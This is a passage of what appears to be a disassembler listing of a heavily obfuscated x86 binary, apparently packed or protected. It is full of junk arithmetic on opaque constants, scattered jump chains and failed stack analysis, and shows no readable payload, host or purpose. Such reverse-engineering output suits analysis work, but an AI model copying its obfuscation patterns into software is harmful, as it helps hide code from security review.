; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
		sub	ebp, edi
		jmp	loc_42C367
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_42472D:				; CODE XREF: sub_423410:loc_42E583j
		jl	loc_424FF6
; END OF FUNCTION CHUNK	FOR sub_423410
; START	OF FUNCTION CHUNK FOR sub_4266F8


loc_424733:				; CODE XREF: sub_4266F8+Ej
		jmp	loc_42CEFC
; END OF FUNCTION CHUNK	FOR sub_4266F8
; ---------------------------------------------------------------------------
		add	ecx, ebp
		cmp	esi, eax
		jmp	loc_4239AC
; ---------------------------------------------------------------------------


loc_424741:				; CODE XREF: _7hdaygc1:0042B8CEj
		shr	esi, 11h

; =============== S U B	R O U T	I N E =======================================



sub_424744	proc near		; CODE XREF: sub_425A37+45FBp

; FUNCTION CHUNK AT 004243B2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004245E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004288A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042895B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428EC7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00429884 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429B5D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042BC6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C1C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D7D4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E150 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042F941 SIZE 00000006 BYTES

		xchg	esi, [esp+0]
		pop	esi
		or	eax, eax
		jnz	loc_42D7D4
		jmp	loc_42895B
sub_424744	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424755	proc near		; DATA XREF: _7hdaygc1:0042AE83o

; FUNCTION CHUNK AT 0042AFEB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DC8C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DEB9 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		push	edx
		pop	ebp
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jmp	loc_42AFEB
sub_424755	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424765:				; DATA XREF: sub_42DB44-8359o
		add	[esi], eax
		call	sub_42AB9F
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_42476C:				; CODE XREF: sub_42BAE7-804Aj
		jmp	loc_429E69
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------


loc_424771:				; CODE XREF: _7hdaygc1:00424940j
		jbe	loc_42EA8D
		not	esi
		and	ecx, 5920EE2Ah
		jmp	loc_429A39
; ---------------------------------------------------------------------------
		not	eax
		rol	eax, 1Bh
		jmp	sub_425C3B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		call	sub_42A2EF


loc_424794:				; CODE XREF: _7hdaygc1:0042C906j
		jmp	loc_428AA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F621


loc_424799:				; CODE XREF: sub_42F621:loc_4253E5j
		add	eax, 32DAEDD2h
		push	eax
		call	sub_424AE1

locret_4247A5:				; CODE XREF: _7hdaygc1:0042E324j
		retn
; END OF FUNCTION CHUNK	FOR sub_42F621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268BD


loc_4247A6:				; CODE XREF: sub_4268BD-1CEEj
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_4268BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426EBD


loc_4247AB:				; CODE XREF: sub_426EBD:loc_428B45j
		push	offset sub_424DA7
		jmp	nullsub_196
; END OF FUNCTION CHUNK	FOR sub_426EBD
; ---------------------------------------------------------------------------


loc_4247B5:				; DATA XREF: sub_425FCB+7o
		dec	dword ptr [ebp-18h]
		jnz	loc_42B157
		jmp	loc_42A0DB
; ---------------------------------------------------------------------------


loc_4247C3:				; CODE XREF: _7hdaygc1:004248F7j
		sub	ebx, eax
		push	offset sub_427E76
		jmp	loc_42E80E
; ---------------------------------------------------------------------------


loc_4247CF:				; CODE XREF: _7hdaygc1:004235F3j
		and	ebx, esi
		jbe	loc_42CB12
		sbb	ebp, eax


loc_4247D9:				; CODE XREF: _7hdaygc1:loc_42EE16j
		push	offset sub_42D50E
		jmp	locret_42D06B
; ---------------------------------------------------------------------------


loc_4247E3:				; CODE XREF: _7hdaygc1:00429A97j
		add	eax, ecx
		jge	loc_42D146


loc_4247EB:				; CODE XREF: _7hdaygc1:loc_429A8Bj
		xor	edi, 807CF559h
		cmp	ebx, edi
		jmp	loc_42E32A
; ---------------------------------------------------------------------------

locret_4247F8:				; CODE XREF: _7hdaygc1:004237FFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B6B5


loc_4247F9:				; CODE XREF: sub_42B6B5-7F08j
		jmp	loc_428D03
; END OF FUNCTION CHUNK	FOR sub_42B6B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429532


loc_4247FF:				; CODE XREF: sub_429532+3630j
		jmp	loc_426879
; END OF FUNCTION CHUNK	FOR sub_429532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D1B


loc_424804:				; CODE XREF: sub_429D1B-4D51j
		jmp	nullsub_215
; END OF FUNCTION CHUNK	FOR sub_429D1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_424809:				; CODE XREF: sub_42A052:loc_427F96j
		jz	loc_429A5A
		jmp	loc_426417
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42581B


loc_424814:				; CODE XREF: sub_42581B+79BBj
		call	sub_42A3F7
		jmp	loc_42860E
; ---------------------------------------------------------------------------


loc_42481E:				; CODE XREF: sub_42581B+4j
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		jnz	loc_42619E
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_4262B9
; END OF FUNCTION CHUNK	FOR sub_42581B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_424834:				; CODE XREF: sub_42AFFE+37D8j
		push	0D41564C6h
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		and	eax, 479E968Ah
		jnz	loc_424BED


loc_42484B:				; CODE XREF: sub_427D11+2FDDj
		jmp	loc_4280CF
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_424850:				; CODE XREF: sub_42CFDA-3176j
		jmp	loc_42AC6E
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
		and	ebx, edx
		xchg	eax, [ebp+0]
		jmp	loc_424BED
; ---------------------------------------------------------------------------
		test	esi, 0B6563448h
		jmp	loc_423642
; ---------------------------------------------------------------------------


loc_42486A:				; DATA XREF: sub_42D2E7+9o
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]


loc_424870:				; CODE XREF: _7hdaygc1:loc_42787Ej
					; _7hdaygc1:loc_42AA65j
		push	offset sub_425339
		jmp	loc_42F5B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42487A:				; CODE XREF: sub_425C3B:loc_429976j
					; _7hdaygc1:00429986j
		add	ebx, 0DB5E4C4Bh
		add	ebx, ebp
		add	ebx, 7E52CDB4h
		mov	[ebx], eax
		jmp	loc_42E706
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
		jb	loc_42F3C9
		jmp	sub_4252C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_42489A:				; CODE XREF: sub_423410:loc_42A3F2j
		jnz	loc_429917
; END OF FUNCTION CHUNK	FOR sub_423410
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_4248A0:				; CODE XREF: sub_4288FE-2D62j
		jmp	loc_42F89A
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
		sbb	edx, esi
		jmp	loc_42990F
; ---------------------------------------------------------------------------


loc_4248AC:				; CODE XREF: _7hdaygc1:0042CC1Ej
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-0Ch], 0
		jle	loc_42AAD9
		jmp	loc_427276
; ---------------------------------------------------------------------------


loc_4248BE:				; CODE XREF: _7hdaygc1:loc_42CC0Fj
		add	esp, 0FFFFFFF0h
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		jmp	loc_42E809
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_4248CF:				; CODE XREF: sub_42567E:loc_42AD69j
		push	ecx
		call	sub_424494


loc_4248D5:				; CODE XREF: sub_42EB0D-4197j
		jmp	loc_42E370
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_4248DA:				; CODE XREF: sub_42A2EF-5033j
		jmp	loc_42A50C
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E7E


loc_4248DF:				; CODE XREF: sub_424E7E+7j
		jmp	loc_42BF91
; END OF FUNCTION CHUNK	FOR sub_424E7E
; ---------------------------------------------------------------------------


loc_4248E4:				; DATA XREF: sub_425C5F+2o
		and	edx, eax
		setnz	byte ptr [ebp-5]
		call	sub_428C3B
		mov	edx, ds:dword_42BC58
		mov	ebx, [edx]
		jmp	loc_4247C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_4248FC:				; CODE XREF: sub_42F65A:loc_42A787j
		push	offset loc_42332A
		jmp	loc_42857B
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_424906:				; CODE XREF: sub_42C16F:loc_425991j
					; sub_42C16F+EDAj
		call	sub_42D757
		push	0A830F2F5h
		pop	edx
		or	edx, 0C3CE57D0h
		sub	edx, 133B23FCh
		add	edx, 0E3AFC5C7h
		push	eax
		pushf
		jmp	loc_42A276
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42492A:				; CODE XREF: sub_42AA47+1584j
		jge	loc_429A39


loc_424930:				; CODE XREF: _7hdaygc1:0042A6A8j
		jmp	sub_42D8FB
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272FB


loc_424935:				; CODE XREF: sub_4272FB+1Dj
		jmp	loc_426B12
; END OF FUNCTION CHUNK	FOR sub_4272FB
; ---------------------------------------------------------------------------
		cmp	esi, 89F65C0Fh
		jmp	loc_424771
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_424946:				; CODE XREF: sub_42567E+2AD9j
		and	ebx, 69B00945h
		test	edi, 0C529D2F5h
		jmp	loc_42D8FC
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEA0


loc_424957:				; CODE XREF: sub_42DEA0:loc_42B3C9j
		xor	edx, edx
		call	sub_423F3E
; END OF FUNCTION CHUNK	FOR sub_42DEA0
; START	OF FUNCTION CHUNK FOR sub_42DB44


loc_42495E:				; CODE XREF: sub_42DB44-36B5j
		jmp	loc_42FAF3
; END OF FUNCTION CHUNK	FOR sub_42DB44

; =============== S U B	R O U T	I N E =======================================



sub_424963	proc near		; CODE XREF: sub_42BDCF+5p
					; sub_424744:loc_42C1C4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042524A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425546 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00426EE1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00427CE2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00429BA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B40B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BD92 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042C1B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC88 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042D0B8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D3C7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042D532 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042E891 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F92B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FB9E SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		jz	loc_42CC88
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		jmp	loc_427CE2
sub_424963	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424981	proc near		; CODE XREF: sub_42AB66j
					; DATA XREF: sub_426A39+4123o
		mov	esi, [eax]
		add	eax, 4
		call	sub_42E481


loc_42498B:				; CODE XREF: sub_42E51C-1A9Ej
		jmp	nullsub_144
sub_424981	endp

; ---------------------------------------------------------------------------
		jbe	loc_4241FD
		jg	loc_4236D4
		jmp	sub_428818
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_4249A1:				; CODE XREF: sub_42AA47:loc_425E53j
					; sub_42AA47-41F0j
		call	sub_42D757
		mov	edx, 0F75CA70h
		push	edx
		push	4CC8F76Dh
		jmp	loc_42B6E3
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_4249B6:				; CODE XREF: sub_42D002-42A4j
		mov	ebx, edx
		xchg	ebx, [esp+0]
		push	edx
		push	85CDFA40h
		pop	edx
		or	edx, 18FDF37Bh
		xor	edx, 9DFDFB7Bh
		jmp	loc_42E233
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_4249D3:				; CODE XREF: sub_42874A+5C81j
		pop	edi
		add	edi, 673F84B0h
		and	edi, 6F174D08h
		cmp	edi, 8A4EACD6h
		jmp	loc_4236A9
; END OF FUNCTION CHUNK	FOR sub_42874A
; ---------------------------------------------------------------------------
		jns	loc_42508F
		cmp	edx, 565A270Ah
		jmp	loc_42959C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_4249FC:				; CODE XREF: sub_42A92E+8j
		jz	loc_42EDA4
		jmp	loc_426A1D
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D3A


loc_424A07:				; CODE XREF: sub_427D3A:loc_427F9Bj
		xor	ebx, 3E7E03Fh
		rol	ebx, 1Dh
		add	ebx, 30D1C37Dh
		push	offset loc_42CE9D
		jmp	loc_429106
; END OF FUNCTION CHUNK	FOR sub_427D3A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424A21:				; CODE XREF: _7hdaygc1:0042F5FEj
		jmp	loc_423C1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F72


loc_424A26:				; CODE XREF: sub_427F72-28A6j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_427F72

; =============== S U B	R O U T	I N E =======================================



sub_424A2B	proc near		; DATA XREF: sub_42AFFE-322Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004242FC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004250CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429E4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BB48 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042C2F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C99B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F2DF SIZE 00000010 BYTES

		push	ebp
		mov	ebp, eax
		call	sub_42F291


loc_424A33:				; CODE XREF: sub_4263F9+19j
		jmp	loc_429E4D
sub_424A2B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D8E


loc_424A38:				; CODE XREF: sub_427D8E:loc_42F61Cj
		mov	eax, [ebp-4]
		call	sub_42BFDF
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_427D8E
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_424A4B:				; CODE XREF: sub_425BAD+908j
					; sub_42F65A-4F04j
		pop	ecx
		jmp	loc_42BFDB
; END OF FUNCTION CHUNK	FOR sub_425BAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_424A52:				; CODE XREF: sub_42EBD6-62EEj
		jmp	loc_42875E
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
		test	edi, eax
		jmp	loc_42D8A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4289CE


loc_424A5E:				; CODE XREF: sub_4289CE+2F91j
		add	eax, ebp
		add	eax, 0EFF2010Fh
		mov	eax, [eax]
		push	offset sub_428B5B
		jmp	loc_42C986
; END OF FUNCTION CHUNK	FOR sub_4289CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_424A72:				; CODE XREF: sub_42C16F+3j
		xchg	edx, [esp+8+var_8]


loc_424A75:				; CODE XREF: sub_42C177+6j
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		mov	[ebp-4], eax
		jmp	loc_42850C
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_424A85:				; CODE XREF: sub_42F789:loc_424E92j
		dec	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 0
		jg	loc_42F793
		jmp	loc_42811B
; ---------------------------------------------------------------------------


loc_424A97:				; CODE XREF: sub_42F789-ABDDj
		shr	eax, 6
		mov	edx, [ebp-4]
		jmp	loc_42D605
; END OF FUNCTION CHUNK	FOR sub_42F789
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_424AA3:				; CODE XREF: sub_42C443-7EDEj
		jmp	sub_4232DA
; END OF FUNCTION CHUNK	FOR sub_42C443

; =============== S U B	R O U T	I N E =======================================



sub_424AA8	proc near		; DATA XREF: _7hdaygc1:00427049o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426086 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426BDF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427C8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428794 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042AF52 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042C219 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042C9D0 SIZE 00000013 BYTES

		push	ecx
		mov	esp, ebp
		pop	ebp
		push	623CBF81h
		jmp	loc_426086
sub_424AA8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424AB6:				; CODE XREF: _7hdaygc1:00428F7Cj
		mov	edi, esi
		pop	esi
		and	edi, 877520FFh
		xor	edi, 85351F76h
		jmp	loc_426902
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F72


loc_424ACA:				; CODE XREF: sub_427F72:loc_42BA9Fj
		mov	edi, ebx
		pop	ebx
		add	edi, 24FDDE7Eh
		rol	edi, 0Ah
		test	edi, 8000h
		jmp	loc_42F6B0
; END OF FUNCTION CHUNK	FOR sub_427F72

; =============== S U B	R O U T	I N E =======================================



sub_424AE1	proc near		; CODE XREF: sub_42F621-AE81p
					; _7hdaygc1:0042DF92j

; FUNCTION CHUNK AT 00423557 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004238D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423A5C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00424224 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004253E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042546D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425FAD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426671 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00426D25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428022 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428359 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042859B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428DCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428E61 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042933F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429460 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429867 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042990A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429BED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F17 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A162 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042A19A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042B198 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B3CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B7BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BB9A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042D11D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DB8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E55D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042E939 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042EF10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F0BA SIZE 00000017 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_429B49
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0]
		push	38F726BAh
		pop	ecx
		jmp	loc_429460
sub_424AE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_424AFB:				; CODE XREF: sub_4282A9-4805j
		sbb	esi, edx
		popf
		and	eax, 10807B51h


loc_424B04:				; CODE XREF: sub_4282A9:loc_428FBDj
		lea	eax, sub_428F69
		push	esi
		push	offset loc_42DECD
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_4282A9
; ---------------------------------------------------------------------------
		mov	esi, 7130A5F1h
		rol	edx, 12h
		jmp	sub_425670
; ---------------------------------------------------------------------------
		cmp	ebp, edx
		jmp	loc_42B0C6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_424B2A:				; CODE XREF: sub_42E695-2306j
		jz	loc_423B63
		jmp	loc_425B5D
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_424B35:				; CODE XREF: sub_423752+11j
		sub	edx, 0B18EAF6Ah
		xor	edx, 7458B50Fh
		and	edx, ds:4000F3h
		jns	loc_4238DD


loc_424B4D:				; CODE XREF: sub_42D84A+F0Bj
		jmp	loc_42BA77
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
		jge	loc_425EE2
		jge	loc_428824
		jmp	loc_42FB3A

; =============== S U B	R O U T	I N E =======================================



sub_424B63	proc near		; CODE XREF: sub_42F1C6-860Cp
					; _7hdaygc1:0042D770j

; FUNCTION CHUNK AT 0042469C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004266AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042694D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426D39 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042858E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042906C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C78F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042EADC SIZE 00000026 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_42C78F
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_42EAE2
		mov	eax, [ebp-4]


loc_424B7C:				; CODE XREF: _7hdaygc1:00426BABj
		inc	eax
		jmp	loc_4266AF
sub_424B63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_424B82:				; CODE XREF: sub_425E64+2C5Ej
		jz	loc_42D35C
		jmp	loc_42F903
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
		or	esi, 3D4E26C8h
		jmp	sub_4270E6
; ---------------------------------------------------------------------------


loc_424B98:				; CODE XREF: _7hdaygc1:loc_42E550j
		not	ebp
		jmp	loc_425C6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_424B9F:				; CODE XREF: sub_42F789-A71Cj
		shl	eax, 0Ah
		mov	edx, [ebp-4]
		add	[edx], eax
		mov	eax, [ebp-4]
		mov	eax, [eax]
		js	loc_424A97
		jmp	loc_42910B
; END OF FUNCTION CHUNK	FOR sub_42F789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268BD


loc_424BB7:				; CODE XREF: sub_4268BD:loc_42C879j
		and	edi, 0C98F58CFh
		or	edi, 67636D2Dh


loc_424BC3:				; CODE XREF: sub_428B5B:loc_4244AAj
		rol	edi, 8
		add	edi, 14C4AB3Ch
		xchg	edi, [esp+0]
		jmp	loc_4247A6
; END OF FUNCTION CHUNK	FOR sub_4268BD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_424BD5:				; CODE XREF: sub_4253A0:loc_42DD4Aj
					; sub_4253A0+8BBBj
		mov	eax, [ebp-8]
		call	sub_424BE6
; END OF FUNCTION CHUNK	FOR sub_4253A0
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_424BDD:				; CODE XREF: sub_425C2C:loc_423F33j
					; sub_42A6C3-4301j ...
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269CB


loc_424BE1:				; CODE XREF: sub_4269CB-17A7j
		jmp	loc_42CF89
; END OF FUNCTION CHUNK	FOR sub_4269CB

; =============== S U B	R O U T	I N E =======================================



sub_424BE6	proc near		; CODE XREF: sub_4253A0-7C8p
					; _7hdaygc1:004257C8j ...

; FUNCTION CHUNK AT 00423B03 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E05C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042E27E SIZE 00000005 BYTES

		push	eax
		push	ebx
		jmp	loc_42E27E
sub_424BE6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_424BED:				; CODE XREF: sub_42AFFE-67B9j
					; _7hdaygc1:0042485Aj
		or	eax, 0E34B6169h
		rol	eax, 3
		test	eax, 8
		jmp	loc_42ADEA
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_424C01:				; CODE XREF: sub_423172+7958j
		call	sub_42A94C
		push	786E376Fh
		pop	edx
		or	edx, 0C5B0EDBEh
		add	edx, 62352139h
		add	edx, ebp
		add	edx, 9FCBDEC4h
		mov	edx, [edx]
		jmp	loc_429FD5
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428079


loc_424C27:				; CODE XREF: sub_428079:loc_42BB05j
		push	eax
		lea	eax, sub_42936E
		push	eax
		push	0
		jmp	loc_42F3E2
; END OF FUNCTION CHUNK	FOR sub_428079
; ---------------------------------------------------------------------------
